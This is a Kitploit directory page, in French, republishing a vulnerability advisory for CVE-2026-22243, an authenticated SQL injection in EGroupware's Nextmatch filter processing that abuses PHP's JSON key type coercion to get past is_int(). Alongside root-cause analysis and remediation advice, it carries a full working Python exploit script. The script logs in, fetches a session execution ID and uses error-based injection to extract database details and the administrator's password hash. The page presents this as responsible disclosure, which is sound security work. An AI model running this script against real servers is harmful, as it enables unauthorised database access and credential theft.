Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch. | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-22243
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch.

Voir le dépôt
4il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-22243 : EGroupware présente une injection SQL dans le traitement des filtres Nextmatch

Aperçu

ChampDétails
ID CVECVE-2026-22243
SévéritéHAUTE
AvisVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • egroupware/egroupware (versions : < 23.1.20260113)
  • egroupware/egroupware (versions : >= 26.0.20251208, < 26.0.20260113)

Classification CWE

  • CWE-89 : mauvaise neutralisation des éléments spéciaux utilisés dans une commande SQL ('Injection SQL')

Détails

Résumé

Injection SQL critique authentifiée dans le traitement des filtres du widget Nextmatch

Une vulnérabilité critique d'injection SQL existe dans les composants principaux d'EGroupware, plus précisément dans le traitement des filtres Nextmatch. Cette faille permet à des attaquants authentifiés d'injecter des commandes SQL arbitraires dans la clause WHERE des requêtes de base de données. Cela est rendu possible en exploitant un problème de manipulation des types en PHP, où le décodage JSON convertit les chaînes numériques en entiers, contournant ainsi le contrôle de sécurité is_int() utilisé par l'application.

Détails

Analyse de la cause racine

La vulnérabilité réside dans la manière dont la couche d'abstraction de base de données (Api\Db) et les classes de stockage de haut niveau (Api\Storage\Base, infolog_so) traitent le tableau col_filter utilisé dans les widgets « Nextmatch ».

L'application tente de valider l'entrée à l'aide de is_int($key) afin de déterminer si une clé de tableau représente un fragment SQL brut qui doit être considéré comme fiable. Cependant, lors du traitement des requêtes POST basées sur JSON, json_decode de PHP convertit automatiquement les clés de chaînes numériques (par exemple, "0") en entiers natifs.

Par conséquent, un attaquant peut envoyer une charge utile JSON avec un tableau associatif contenant des clés numériques. L'application interprète ces clés comme des entiers (is_int renvoie true) et ajoute aveuglément les valeurs associées — contenant du SQL malveillant — directement à la requête.

Emplacements de code vulnérables

  1. Fichier : sources/egroupware/api/src/Db.php (environ ligne 1776) Méthode : column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Fichier : sources/egroupware/api/src/Storage/Base.php (environ ligne 1134) Méthode : parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

J'ai vérifié cette vulnérabilité sur une instance Docker locale et l'ai confirmée (en lecture seule) sur votre instance de démonstration publique (demo.egroupware.net).

Script d'exploitation automatisé : Le script suivant automatise la connexion, l'extraction de exec_id et l'exfiltration de données via une injection SQL basée sur les erreurs.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Preuve de vérification sur demo.egroupware.net :

J'ai exécuté le script contre votre démonstration publique afin de confirmer l'exploitabilité dans un environnement de type production (lecture seule). image

Impact : Les attaquants disposant d'un accès à faibles privilèges peuvent compromettre entièrement la base de données, ce qui permet :

  • Perte de confidentialité : lecture de données sensibles (par exemple, empreintes de mots de passe, jetons de session, coordonnées personnelles, secrets de configuration).
  • Perte d'intégrité : modification ou suppression de données arbitraires au sein de l'application.
  • Perte de disponibilité : possibilité de supprimer des tables ou de corrompre des données.

Remédiation

1. Validation des entrées (liste blanche) Ne vous fiez pas uniquement à is_int() pour les décisions de sécurité lors du traitement d'entrées externes, en particulier les données JSON dont les clés peuvent être des chaînes numériques. Mettez en œuvre une liste blanche (allowlist) stricte des noms de colonnes autorisés pour le filtrage dans les widgets Nextmatch. Si la clé/colonne ne figure pas dans la liste blanche, rejetez la requête.

2. Liaison des paramètres Assurez-vous que toutes les valeurs de filtre sont liées en tant que paramètres (requêtes préparées) plutôt que concaténées directement dans la chaîne SQL.

3. Vérification stricte des types Lors du traitement d'entrées JSON, assurez-vous que les clés sont strictement vérifiées par rapport aux types attendus (par exemple, en utilisant === pour une comparaison stricte ou filter_var) avant d'être utilisées dans la logique de génération SQL.

Crédits

Signalé par Łukasz Rybak

Références

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

Avertissement

Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.

Télécharger l’outil